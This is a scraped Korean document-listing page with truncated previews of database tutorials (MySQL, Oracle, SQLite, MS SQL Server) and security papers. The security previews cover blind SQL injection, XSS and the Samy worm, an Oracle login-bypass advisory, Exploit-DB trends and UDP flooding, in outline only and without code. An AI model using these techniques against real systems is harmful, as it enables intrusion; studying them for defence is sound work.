강의 개요 DDL TABLE 을만들자 웹데이터베이스 TABLE 자료가저장되는공간 문자자료의경우 DB 생성시지정한 Character Set 대로저장 Table 생성시 Table 의구조를결정짓는열속성지정 열 (Clumn, Attribute) 은이름과자료형을갖는다. 자료형 : http://dev.mysql.cm/dc/refman/5.1/en/data-types.html TABLE

More information

슬라이드 1

슬라이드 1 Tadpole for DB 1. 도구개요 2. 설치및실행 4. 활용예제 1. 도구개요 도구명 소개 Tadpole for DB Tools (sites.google.com/site/tadpolefordb/) 웹기반의데이터베이스를관리하는도구 Database 스키마및데이터관리 라이선스 LGPL (Lesser General Public License) 특징 주요기능

More information

Tablespace On-Offline 테이블스페이스 온라인/오프라인

Tablespace On-Offline 테이블스페이스 온라인/오프라인 2018/11/10 12:06 1/2 Tablespace On-Offline 테이블스페이스온라인 / 오프라인 목차 Tablespace On-Offline 테이블스페이스온라인 / 오프라인... 1 일반테이블스페이스 (TABLESPACE)... 1 일반테이블스페이스생성하기... 1 테이블스페이스조회하기... 1 테이블스페이스에데이터파일 (DATA FILE) 추가

More information

Microsoft Word - [Unioneinc] 특정컬럼의 통계정보 갱신_ _ldh.doc

Microsoft Word - [Unioneinc] 특정컬럼의 통계정보 갱신_ _ldh.doc 특정 Column 통계정보갱신가이드 유니원아이앤씨 DB 사업부이대혁 2015 년 03 월 02 일 문서정보프로젝트명서브시스템명 버전 1.0 문서명 특정 Column 통계정보갱신가이드 작성일 2015-03-02 작성자 DB사업부이대혁사원 최종수정일 2015-03-02 문서번호 UNIONE-201503021500-LDH 재개정이력 일자내용수정인버전 문서배포이력

More information

Secure Programming Lecture1 : Introduction

Secure Programming Lecture1 : Introduction Malware and Vulnerability Analysis Lecture4-1 Vulnerability Analysis #4-1 Agenda 웹취약점점검 웹사이트취약점점검 HTTP and Web Vulnerability HTTP Protocol 웹브라우저와웹서버사이에하이퍼텍스트 (Hyper Text) 문서송수신하는데사용하는프로토콜 Default Port

More information

歯sql_tuning2

歯sql_tuning2 SQL Tuning (2) SQL SQL SQL Tuning ROW(1) ROW(2) ROW(n) update ROW(2) at time 1 & Uncommitted update ROW(2) at time 2 SQLDBA> @ UTLLOCKT WAITING_SESSION TYPE MODE_REQUESTED MODE_HELD LOCK_ID1

More information

8 장데이터베이스 8.1 기본개념 - 데이터베이스 : 데이터를조직적으로구조화한집합 (cf. 엑셀파일 ) - 테이블 : 데이터의기록형식 (cf. 엑셀시트의첫줄 ) - 필드 : 같은종류의데이터 (cf. 엑셀시트의각칸 ) - 레코드 : 데이터내용 (cf. 엑셀시트의한줄 )

8 장데이터베이스 8.1 기본개념 - 데이터베이스 : 데이터를조직적으로구조화한집합 (cf. 엑셀파일 ) - 테이블 : 데이터의기록형식 (cf. 엑셀시트의첫줄 ) - 필드 : 같은종류의데이터 (cf. 엑셀시트의각칸 ) - 레코드 : 데이터내용 (cf. 엑셀시트의한줄 ) 8 장데이터베이스 8.1 기본개념 - 데이터베이스 : 데이터를조직적으로구조화한집합 (cf. 엑셀파일 ) - 테이블 : 데이터의기록형식 (cf. 엑셀시트의첫줄 ) - 필드 : 같은종류의데이터 (cf. 엑셀시트의각칸 ) - 레코드 : 데이터내용 (cf. 엑셀시트의한줄 ) - DDL(Data Definition Language) : show, create, drop

More information

구축환경 OS : Windows 7 그외 OS 의경우교재 p26-40 참조 Windows 의다른버전은조금다르게나타날수있음 Browser : Google Chrome 다른브라우저를사용해도별차이없으나추후수업의모든과정은크롬사용 한

구축환경 OS : Windows 7 그외 OS 의경우교재 p26-40 참조 Windows 의다른버전은조금다르게나타날수있음 Browser : Google Chrome 다른브라우저를사용해도별차이없으나추후수업의모든과정은크롬사용   한 수업환경구축 웹데이터베이스구축및실습 구축환경 OS : Windows 7 그외 OS 의경우교재 p26-40 참조 Windows 의다른버전은조금다르게나타날수있음 Browser : Google Chrome 다른브라우저를사용해도별차이없으나추후수업의모든과정은크롬사용 http://chrome.google.com 한림대학교웹데이터베이스 - 이윤환 APM 설치 : AUTOSET6

More information

Microsoft Word - ntasFrameBuilderInstallGuide2.5.doc

Microsoft Word - ntasFrameBuilderInstallGuide2.5.doc NTAS and FRAME BUILDER Install Guide NTAS and FRAME BUILDER Version 2.5 Copyright 2003 Ari System, Inc. All Rights reserved. NTAS and FRAME BUILDER are trademarks or registered trademarks of Ari System,

More information

untitled

untitled Oracle DBMS 로그인의접근제어우회 취약점분석 2006. 2. 9 인터넷침해사고대응지원센터 (KISC) 본보고서의전부나일부를인용시반드시 [ 자료 : 한국정보보호진흥원 (KISA)] 룰명시하여주시기바랍니다. 개요 o 2005년이후 Oracle Critical Patch Update(CPU) 는 Oracle사제품대상으로다수의보안패치및보안패치와관련된일반패치를발표하는주요수단임

More information

@OneToOne(cascade = = "addr_id") private Addr addr; public Emp(String ename, Addr addr) { this.ename = ename; this.a

@OneToOne(cascade = = addr_id) private Addr addr; public Emp(String ename, Addr addr) { this.ename = ename; this.a 1 대 1 단방향, 주테이블에외래키실습 http://ojcedu.com, http://ojc.asia STS -> Spring Stater Project name : onetoone-1 SQL : JPA, MySQL 선택 http://ojc.asia/bbs/board.php?bo_table=lecspring&wr_id=524 ( 마리아 DB 설치는위 URL

More information

PowerPoint Presentation

PowerPoint Presentation FORENSICINSIGHT SEMINAR SQLite Recovery zurum herosdfrc@google.co.kr Contents 1. SQLite! 2. SQLite 구조 3. 레코드의삭제 4. 삭제된영역추적 5. 레코드복원기법 forensicinsight.org Page 2 / 22 SQLite! - What is.. - and why? forensicinsight.org

More information

Install stm32cubemx and st-link utility

Install stm32cubemx and st-link utility STM32CubeMX and ST-LINK Utility for STM32 Development 본문서는 ST Microelectronics 의 ARM Cortex-M 시리즈 Microcontroller 개발을위해제공되는 STM32CubeMX 와 STM32 ST-LINK Utility 프로그램의설치과정을설명합니다. 본문서는 Microsoft Windows 7

More information

PowerPoint 프레젠테이션

PowerPoint 프레젠테이션 Reasons for Poor Performance Programs 60% Design 20% System 2.5% Database 17.5% Source: ORACLE Performance Tuning 1 SMS TOOL DBA Monitoring TOOL Administration TOOL Performance Insight Backup SQL TUNING

More information

제목을 입력하세요.

제목을 입력하세요. 1. 4 1.1. SQLGate for Oracle? 4 1.2. 4 1.3. 5 1.4. 7 2. SQLGate for Oracle 9 2.1. 9 2.2. 10 2.3. 10 2.4. 13 3. SQLGate for Oracle 15 3.1. Connection 15 Connect 15 Multi Connect 17 Disconnect 18 3.2. Query

More information

PowerPoint 프레젠테이션

PowerPoint 프레젠테이션 HTML5 웹프로그래밍입문 부록. 웹서버구축하기 1 목차 A.1 웹서버시스템 A.2 PHP 사용하기 A.3 데이터베이스연결하기 2 A.1 웹서버시스템 3 웹서버의구축 웹서버컴퓨터구축 웹서버소프트웨어설치및실행 아파치 (Apache) 웹서버가대표적 서버실행프로그램 HTML5 폼을전달받아처리 PHP, JSP, Python 등 데이터베이스시스템 서버측에데이터를저장및효율적관리

More information

USER GUIDE

USER GUIDE Solution Package Volume II DATABASE MIGRATION 2010. 1. 9. U.Tu System 1 U.Tu System SeeMAGMA SYSTEM 차 례 1. INPUT & OUTPUT DATABASE LAYOUT...2 2. IPO 중 VB DATA DEFINE 자동작성...4 3. DATABASE UNLOAD...6 4.

More information

Microsoft PowerPoint - 3장-MS SQL Server.ppt [호환 모드]

Microsoft PowerPoint - 3장-MS SQL Server.ppt [호환 모드] MS SQL Server 마이크로소프트사가윈도우운영체제를기반으로개발한관계 DBMS 모바일장치에서엔터프라이즈데이터시스템에이르는다양한플랫폼에서운영되는통합데이터관리및분석솔루션 2 MS SQL Server 개요 3.1 MS SQL Server 개요 클라이언트-서버모델을기반으로하는관계 DBMS로서윈도우계열의운영체제에서만동작함 오라클관계 DBMS보다가격이매우저렴한편이고,

More information

untitled

untitled A Leader of Enterprise e-business Solution FORCS Co., LTD 1 OZ Application Getting Started 2 FORCS Co., LTD A Leader of Enterprise e-business Solution FORCS Co., LTD 3 OZ Application Getting Started 'OZ

More information

Microsoft Word - src.doc

Microsoft Word - src.doc IPTV 서비스탐색및콘텐츠가이드 RI 시스템운용매뉴얼 목차 1. 서버설정방법... 5 1.1. 서비스탐색서버설정... 5 1.2. 컨텐츠가이드서버설정... 6 2. 서버운용방법... 7 2.1. 서비스탐색서버운용... 7 2.1.1. 서비스가이드서버실행... 7 2.1.2. 서비스가이드정보확인... 8 2.1.3. 서비스가이드정보추가... 9 2.1.4. 서비스가이드정보삭제...

More information

초보자를 위한 분산 캐시 활용 전략

초보자를 위한 분산 캐시 활용 전략 초보자를위한분산캐시활용전략 강대명 charsyam@naver.com 우리가꿈꾸는서비스 우리가꿈꾸는서비스 우리가꿈꾸는서비스 우리가꿈꾸는서비스 그러나현실은? 서비스에필요한것은? 서비스에필요한것은? 핵심적인기능 서비스에필요한것은? 핵심적인기능 서비스에필요한것은? 핵심적인기능 서비스에필요한것은? 적절한기능 서비스안정성 트위터에매일고래만보이면? 트위터에매일고래만보이면?

More information

PowerPoint 프레젠테이션

PowerPoint 프레젠테이션 Web Browser Web Server ( ) MS Explorer 5.0 WEB Server MS-SQL HTML Image Multimedia IIS Application Web Server ASP ASP platform Admin Web Based ASP Platform Manager Any Platform ASP : Application Service

More information

다양한 예제로 쉽게 배우는 오라클 SQL 과 PL/SQL

다양한 예제로 쉽게 배우는 오라클 SQL 과 PL/SQL 다양한예제로쉽게배우는 오라클 SQL 과 PL/SQL 서진수저 9 장인덱스를배웁니다 1 1. 인덱스란무엇인가? 2 - ROWID ( 주소 ) 조회하기 SCOTT>SELECT ROWID, empno, ename 2 FROM emp 3 WHERE empno=7902 ; ROWID EMPNO ENAME --------------------------------- ----------

More information

untitled

untitled A Leader of Enterprise e-business Solution FORCS Co., LTD 1 OZ Application Getting Started (ver 5.1) 2 FORCS Co., LTD A Leader of Enterprise e-business Solution FORCS Co., LTD 3 OZ Application Getting

More information

윈도우시스템프로그래밍

윈도우시스템프로그래밍 데이터베이스및설계 MySQL 을위한 MFC 를사용한 ODBC 프로그래밍 2012.05.10. 오병우 컴퓨터공학과금오공과대학교 http://www.apmsetup.com 또는 http://www.mysql.com APM Setup 설치발표자료참조 Department of Computer Engineering 2 DB 에속한테이블보기 show tables; 에러발생

More information

3 S Q L A n t i p a t t e r n s Trees/intro/parent.sql CREATE TABLE Comments ( comment_id SERIAL PRIMARY KEY, parent_id BIGINT UNSIGNED, comment TEXT

3 S Q L A n t i p a t t e r n s Trees/intro/parent.sql CREATE TABLE Comments ( comment_id SERIAL PRIMARY KEY, parent_id BIGINT UNSIGNED, comment TEXT 3 S Q L A n t i p a t t e r n s Trees/intro/parent.sql CREATE TABLE Comments ( comment_id SERIAL PRIMARY KEY, parent_id BIGINT UNSIGNED, comment TEXT NOT NULL, FOREIGN KEY (parent_id) REFERENCES Comments(comment_id)

More information

Intra_DW_Ch4.PDF

Intra_DW_Ch4.PDF The Intranet Data Warehouse Richard Tanler Ch4 : Online Analytic Processing: From Data To Information 2000. 4. 14 All rights reserved OLAP OLAP OLAP OLAP OLAP OLAP is a label, rather than a technology

More information

5장 SQL 언어 Part II

5장 SQL 언어 Part II 5 장 SQL 언어 Part II 박창이 서울시립대학교통계학과 박창이 ( 서울시립대학교통계학과 ) 5 장 SQL 언어 Part II 1 / 26 데이터조작문 데이터검색 : SELECT 문데이터추가 : INSERT 문데이터수정 : UPDATE 문데이터삭제 : DELETE 문 박창이 ( 서울시립대학교통계학과 ) 5 장 SQL 언어 Part II 2 / 26 SELECT

More information

TITLE

TITLE CSED421 Database Systems Lab MySQL Basic Syntax SQL DML & DDL Data Manipulation Language SELECT UPDATE DELETE INSERT INTO Data Definition Language CREATE DATABASE ALTER DATABASE CREATE TABLE ALTER TABLE

More information

ETL_project_best_practice1.ppt

ETL_project_best_practice1.ppt ETL ETL Data,., Data Warehouse DataData Warehouse ETL tool/system: ETL, ETL Process Data Warehouse Platform Database, Access Method Data Source Data Operational Data Near Real-Time Data Modeling Refresh/Replication

More information

untitled

untitled (shared) (integrated) (stored) (operational) (data) : (DBMS) :, (database) :DBMS File & Database - : - : ( : ) - : - : - :, - DB - - -DBMScatalog meta-data -DBMS -DBMS - -DBMS concurrency control E-R,

More information

UDP Flooding Attack 공격과 방어

UDP Flooding Attack 공격과 방어 황 교 국 (fullc0de@gmail.com) SK Infosec Co., Inc MSS Biz. Security Center Table of Contents 1. 소개...3 2. 공격 관련 Protocols Overview...3 2.1. UDP Protocol...3 2.2. ICMP Protocol...4 3. UDP Flood Test Environment...5

More information

The Basic Of Blind SQL Injection Sur3x5F - PRIDE NateOn : PRIDE in Sur3x5F All rights are reserved

The Basic Of Blind SQL Injection Sur3x5F - PRIDE NateOn : PRIDE in Sur3x5F All rights are reserved The Basic Of Blind SQL Injection Sur3x5F - PRIDE NateOn : austinkwon@nate.com 목 차 0x00. Intro 0x01. You should know... 0x02. What is Blind SQL Injection 0x03. Get db information from information_schema

More information

thesis

thesis ( Design and Implementation of a Generalized Management Information Repository Service for Network and System Management ) ssp@nile nile.postech.ac..ac.kr DPE Lab. 1997 12 16 GMIRS GMIRS GMIRS prototype

More information

Eclipse 와 Firefox 를이용한 Javascript 개발 발표자 : 문경대 11 년 10 월 26 일수요일

Eclipse 와 Firefox 를이용한 Javascript 개발 발표자 : 문경대 11 년 10 월 26 일수요일 Eclipse 와 Firefox 를이용한 Javascript 개발 발표자 : 문경대 Introduce Me!!! Job Jeju National University Student Ubuntu Korean Jeju Community Owner E-Mail: ned3y2k@hanmail.net Blog: http://ned3y2k.wo.tc Facebook: http://www.facebook.com/gyeongdae

More information

XSS Attack - Real-World XSS Attacks, Chaining XSS and Other Attacks, Payloads for XSS Attacks

XSS Attack - Real-World XSS Attacks, Chaining XSS and Other Attacks, Payloads for XSS Attacks XSS s XSS, s, May 25, 2010 XSS s 1 2 s 3 XSS s MySpace 사건. Samy (JS.Spacehero) 프로필 페이지에 자바스크립트 삽입. 스크립트 동작방식 방문자를 친구로 추가. 방문자의 프로필에 자바스크립트를 복사. 1시간 만에 백만 명이 친구등록. s XSS s 위험도가 낮은 xss 취약점을 다른 취약점과 연계하여

More information

PowerPoint 프레젠테이션

PowerPoint 프레젠테이션 Spider For MySQL 실전사용기 피망플러스유닛최윤묵 Spider For MySQL Data Sharding By Spider Storage Engine http://spiderformysql.com/ 성능 8 만 / 분 X 4 대 32 만 / 분 많은 DB 중에왜 spider 를? Source: 클라우드컴퓨팅구 선택의기로 Consistency RDBMS

More information

초보자를 위한 ADO 21일 완성

초보자를 위한 ADO 21일 완성 ADO 21, 21 Sams Teach Yourself ADO 2.5 in 21 Days., 21., 2 1 ADO., ADO.? ADO 21 (VB, VBA, VB ), ADO. 3 (Week). 1, 2, COM+ 3.. HTML,. 3 (week), ADO. 24 1 - ADO OLE DB SQL, UDA(Universal Data Access) ADO.,,

More information

Visual Basic 반복문

Visual Basic 반복문 학습목표 반복문 For Next문, For Each Next문 Do Loop문, While End While문 구구단작성기로익히는반복문 2 5.1 반복문 5.2 구구단작성기로익히는반복문 3 반복문 주어진조건이만족하는동안또는주어진조건이만족할때까지일정구간의실행문을반복하기위해사용 For Next For Each Next Do Loop While Wend 4 For

More information

Result Cache 동작원리및활용방안 엑셈컨설팅본부 /DB 컨설팅팀김철환 개요 ORACLE DBMS 를사용하는시스템에서 QUERY 성능은무엇보다중요한요소중하나이며그 성능과직접적인관련이있는것이 I/O 이다. 많은건수를 ACCESS 해야만원하는결과값을얻을수있는 QUER

Result Cache 동작원리및활용방안 엑셈컨설팅본부 /DB 컨설팅팀김철환 개요 ORACLE DBMS 를사용하는시스템에서 QUERY 성능은무엇보다중요한요소중하나이며그 성능과직접적인관련이있는것이 I/O 이다. 많은건수를 ACCESS 해야만원하는결과값을얻을수있는 QUER Result Cache 동작원리및활용방안 엑셈컨설팅본부 /DB 컨설팅팀김철환 개요 ORACLE DBMS 를사용하는시스템에서 QUERY 성능은무엇보다중요한요소중하나이며그 성능과직접적인관련이있는것이 I/O 이다. 많은건수를 ACCESS 해야만원하는결과값을얻을수있는 QUERY 을실행하게된다면 BLOCK I/O 가많이발생하게된다. 이런이유로 QUERY 의성능은좋지못할것이다.

More information

슬라이드 제목 없음

슬라이드 제목 없음 MS SQL Server 마이크로소프트사가윈도우운영체제를기반으로개발한관계 DBMS 모바일장치에서엔터프라이즈데이터시스템에이르는다양한플랫폼에서운영되는통합데이터관리및분석솔루션 2 MS SQL Server 개요 3.1 MS SQL Server 개요 클라이언트-서버모델을기반으로하는관계 DBMS 로서윈도우계열의운영체제에서만동작함 오라클관계 DBMS 보다가격이매우저렴한편이고,

More information

untitled

untitled PowerBuilder 連 Microsoft SQL Server database PB10.0 PB9.0 若 Microsoft SQL Server 料 database Profile MSS 料 (Microsoft SQL Server database interface) 行了 PB10.0 了 Sybase 不 Microsoft 料 了 SQL Server 料 PB10.0

More information

배치프로그램에서튜닝대상 SQL 추출하기 엑셈컨설팅본부 /DB 컨설팅팀박성호 배치프로그램의성능문제를진단하기위해트레이스를사용할수없고, 개별 SQL 에대한성 능점검은비효율적인경우에어떻게배치프로그램의성능문제를제대로파악하고개선안을도 출할것인가? 복잡한로직을가지고있는프로그램 (

배치프로그램에서튜닝대상 SQL 추출하기 엑셈컨설팅본부 /DB 컨설팅팀박성호 배치프로그램의성능문제를진단하기위해트레이스를사용할수없고, 개별 SQL 에대한성 능점검은비효율적인경우에어떻게배치프로그램의성능문제를제대로파악하고개선안을도 출할것인가? 복잡한로직을가지고있는프로그램 ( 배치프로그램에서튜닝대상 SQL 추출하기 엑셈컨설팅본부 /DB 컨설팅팀박성호 배치프로그램의성능문제를진단하기위해트레이스를사용할수없고, 개별 SQL 에대한성 능점검은비효율적인경우에어떻게배치프로그램의성능문제를제대로파악하고개선안을도 출할것인가? 복잡한로직을가지고있는프로그램 ( 이후배치프로그램 ) 에대한성능문제를파악하기위해수행되는모든 SQL 에대한개별수행내역을정확히판단할수있어야한다.

More information

MySQL-Ch10

MySQL-Ch10 10 Chapter.,,.,, MySQL. MySQL mysqld MySQL.,. MySQL. MySQL....,.,..,,.,. UNIX, MySQL. mysqladm mysqlgrp. MySQL 608 MySQL(2/e) Chapter 10 MySQL. 10.1 (,, ). UNIX MySQL, /usr/local/mysql/var, /usr/local/mysql/data,

More information

EDB 분석보고서 (04.06) ~ Exploit-DB(http://exploit-db.com) 에공개된별로분류한정보입니다. Directory Traversal users-x.php 4.0 -support-x.php 4.0 time-

EDB 분석보고서 (04.06) ~ Exploit-DB(http://exploit-db.com) 에공개된별로분류한정보입니다. Directory Traversal users-x.php 4.0 -support-x.php 4.0 time- EDB 분석보고서 (04.06) 04.06.0~04.06.0 Exploit-DB(http://exploit-db.com) 에공개된별로분류한정보입니다. 분석내용정리 ( 작성 : 펜타시큐리티시스템보안성평가팀 ) 04년 06월에공개된 Exploit-DB의분석결과, SQL 공격에대한보고개수가가장많았습니다. 이와같은결과로부터여전히 SQL 이웹에서가장많이사용되는임을확인할수있습니다.

More information

ISP and CodeVisionAVR C Compiler.hwp

ISP and CodeVisionAVR C Compiler.hwp USBISP V3.0 & P-AVRISP V1.0 with CodeVisionAVR C Compiler http://www.avrmall.com/ November 12, 2007 Copyright (c) 2003-2008 All Rights Reserved. USBISP V3.0 & P-AVRISP V1.0 with CodeVisionAVR C Compiler

More information

chap 5: Trees

chap 5: Trees 5. Threaded Binary Tree 기본개념 n 개의노드를갖는이진트리에는 2n 개의링크가존재 2n 개의링크중에 n + 1 개의링크값은 null Null 링크를다른노드에대한포인터로대체 Threads Thread 의이용 ptr left_child = NULL 일경우, ptr left_child 를 ptr 의 inorder predecessor 를가리키도록변경

More information

DocsPin_Korean.pages

DocsPin_Korean.pages Unity Localize Script Service, Page 1 Unity Localize Script Service Introduction Application Game. Unity. Google Drive Unity.. Application Game. -? ( ) -? -?.. 준비사항 Google Drive. Google Drive.,.. - Google

More information

WebKnight를 활용한 IIS 웹서버 보안

WebKnight를 활용한 IIS 웹서버 보안 NTFAQ Korea (http://www.ntfaq.co.kr) 이종량 (jrlee@ntfaq.co.kr) 1. WebKnight에대해서 WebKnight의정의 WebKnight의필요성 2. WebKnight의설치 3. 파일의구성 4. WebKnight의설정 5. 필터링 (SQL Injection Keyword) 6. 로그 WebKnight의로그 WebKnight의로그분석

More information

Lab 3. 실습문제 (Single linked list)_해답.hwp

Lab 3. 실습문제 (Single linked list)_해답.hwp Lab 3. Singly-linked list 의구현 실험실습일시 : 2009. 3. 30. 담당교수 : 정진우 담당조교 : 곽문상 보고서제출기한 : 2009. 4. 5. 학과 : 학번 : 성명 : 실습과제목적 : 이론시간에배운 Singly-linked list를실제로구현할수있다. 실습과제내용 : 주어진소스를이용해 Singly-linked list의각함수를구현한다.

More information

PowerPoint Presentation

PowerPoint Presentation FORENSIC INSIGHT; DIGITAL FORENSICS COMMUNITY IN KOREA SQL Server Forensic AhnLab A-FIRST Rea10ne unused6@gmail.com Choi Jinwon Contents 1. SQL Server Forensic 2. SQL Server Artifacts 3. Database Files

More information

6장. SQL

6장. SQL 학습목표 SQL이 무엇인지 개념을 설명 테이블을 생성, 변경, 제거할 할 수 있다. 수 있다. 데이터를 검색, 갱신, 삽입, 삭 제할 수 있다. 뷰, 시스템 카탈로그, 저장 프 로시저, 트리거에 대한 개념 을 설명할 수 있다. 2 목차 SECTION 01 SQL의 개요 11 SQL의 역사 12 SQL의 유형별 종류 SECTION 0 21 스키마 22 테이블

More information

<443A5C4C C4B48555C B3E25C32C7D0B1E25CBCB3B0E8C7C1B7CEC1A7C6AE425CBED0C3E0C7C1B7CEB1D7B7A55C D616E2E637070>

<443A5C4C C4B48555C B3E25C32C7D0B1E25CBCB3B0E8C7C1B7CEC1A7C6AE425CBED0C3E0C7C1B7CEB1D7B7A55C D616E2E637070> #include "stdafx.h" #include "Huffman.h" 1 /* 비트의부분을뽑아내는함수 */ unsigned HF::bits(unsigned x, int k, int j) return (x >> k) & ~(~0

More information

Analytics > Log & Crash Search > Unity ios SDK [Deprecated] Log & Crash Unity ios SDK. TOAST SDK. Log & Crash Unity SDK Log & Crash Search. Log & Cras

Analytics > Log & Crash Search > Unity ios SDK [Deprecated] Log & Crash Unity ios SDK. TOAST SDK. Log & Crash Unity SDK Log & Crash Search. Log & Cras Analytics > Log & Crash Search > Unity ios SDK [Deprecated] Log & Crash Unity ios SDK. TOAST SDK. Log & Crash Unity SDK Log & Crash Search. Log & Crash Unity SDK... Log & Crash Search. - Unity3D v4.0 ios

More information

Observational Determinism for Concurrent Program Security

Observational Determinism for  Concurrent Program Security 웹응용프로그램보안취약성 분석기구현 소프트웨어무결점센터 Workshop 2010. 8. 25 한국항공대학교, 안준선 1 소개 관련연구 Outline Input Validation Vulnerability 연구내용 Abstract Domain for Input Validation Implementation of Vulnerability Analyzer 기존연구

More information

PowerPoint 프레젠테이션

PowerPoint 프레젠테이션 실습 1 배효철 th1g@nate.com 1 목차 조건문 반복문 System.out 구구단 모양만들기 Up & Down 2 조건문 조건문의종류 If, switch If 문 조건식결과따라중괄호 { 블록을실행할지여부결정할때사용 조건식 true 또는 false값을산출할수있는연산식 boolean 변수 조건식이 true이면블록실행하고 false 이면블록실행하지않음 3

More information

untitled

untitled Push... 2 Push... 4 Push... 5 Push... 13 Push... 15 1 FORCS Co., LTD A Leader of Enterprise e-business Solution Push (Daemon ), Push Push Observer. Push., Observer. Session. Thread Thread. Observer ID.

More information

Dialog Box 실행파일을 Web에 포함시키는 방법

Dialog Box 실행파일을 Web에 포함시키는 방법 DialogBox Web 1 Dialog Box Web 1 MFC ActiveX ControlWizard workspace 2 insert, ID 3 class 4 CDialogCtrl Class 5 classwizard OnCreate Create 6 ActiveX OCX 7 html 1 MFC ActiveX ControlWizard workspace New

More information

PowerPoint 프레젠테이션

PowerPoint 프레젠테이션 System Software Experiment 1 Lecture 5 - Array Spring 2019 Hwansoo Han (hhan@skku.edu) Advanced Research on Compilers and Systems, ARCS LAB Sungkyunkwan University http://arcs.skku.edu/ 1 배열 (Array) 동일한타입의데이터가여러개저장되어있는저장장소

More information

게시판 스팸 실시간 차단 시스템

게시판 스팸 실시간 차단 시스템 오픈 API 2014. 11-1 - 목 차 1. 스팸지수측정요청프로토콜 3 1.1 스팸지수측정요청프로토콜개요 3 1.2 스팸지수측정요청방법 3 2. 게시판스팸차단도구오픈 API 활용 5 2.1 PHP 5 2.1.1 차단도구오픈 API 적용방법 5 2.1.2 차단도구오픈 API 스팸지수측정요청 5 2.1.3 차단도구오픈 API 스팸지수측정결과값 5 2.2 JSP

More information

untitled

untitled A Leader of Enterprise e-business Solution FORCS Co., LTD 1 OZ Application Designer Getting Started 2 FORCS Co., LTD A Leader of Enterprise e-business Solution FORCS Co., LTD 3 OZ Application Designer

More information

< 목차 > Ⅰ. 개요 3 Ⅱ. 실시간스팸차단리스트 (RBL) ( 간편설정 ) 4 1. 메일서버 (Exchange Server 2007) 설정변경 4 2. 스팸차단테스트 10

< 목차 > Ⅰ. 개요 3 Ⅱ. 실시간스팸차단리스트 (RBL) ( 간편설정 ) 4 1. 메일서버 (Exchange Server 2007) 설정변경 4 2. 스팸차단테스트 10 (https://www.kisarbl.or.kr) < 목차 > Ⅰ. 개요 3 Ⅱ. 실시간스팸차단리스트 (RBL) ( 간편설정 ) 4 1. 메일서버 (Exchange Server 2007) 설정변경 4 2. 스팸차단테스트 10 Ⅰ. 개요 실시간스팸차단리스트 (RBL) 는메일서버를운영하는누구나손쉽게효과적으로스팸수신을차단하는데이용할수있도록한국인터넷진흥원 (KISA)

More information

Data Sync Manager(DSM) Example Guide Data Sync Manager (DSM) Example Guide DSM Copyright 2003 Ari System, Inc. All Rights reserved. Data Sync Manager

Data Sync Manager(DSM) Example Guide Data Sync Manager (DSM) Example Guide DSM Copyright 2003 Ari System, Inc. All Rights reserved. Data Sync Manager Data Sync Manager (DSM) Example Guide DSM Copyright 2003 Ari System, Inc. All Rights reserved. Data Sync Manager are trademarks or registered trademarks of Ari System, Inc. 1 Table of Contents Chapter1

More information

Lab 4. 실습문제 (Circular singly linked list)_해답.hwp

Lab 4. 실습문제 (Circular singly linked list)_해답.hwp Lab 4. Circular singly-linked list 의구현 실험실습일시 : 2009. 4. 6. 담당교수 : 정진우 담당조교 : 곽문상 보고서제출기한 : 2009. 4. 12. 학과 : 학번 : 성명 : 실습과제목적 : 이론시간에배운 Circular Singly-linked list를실제로구현할수있다. 실습과제내용 : 주어진소스를이용해 Circular

More information

untitled

untitled A Leader of Enterprise e-business Solution FORCS Co., LTD 1 OZ Application Designer Getting Started 2 FORCS Co., LTD A Leader of Enterprise e-business Solution FORCS Co., LTD 3 OZ Application Designer

More information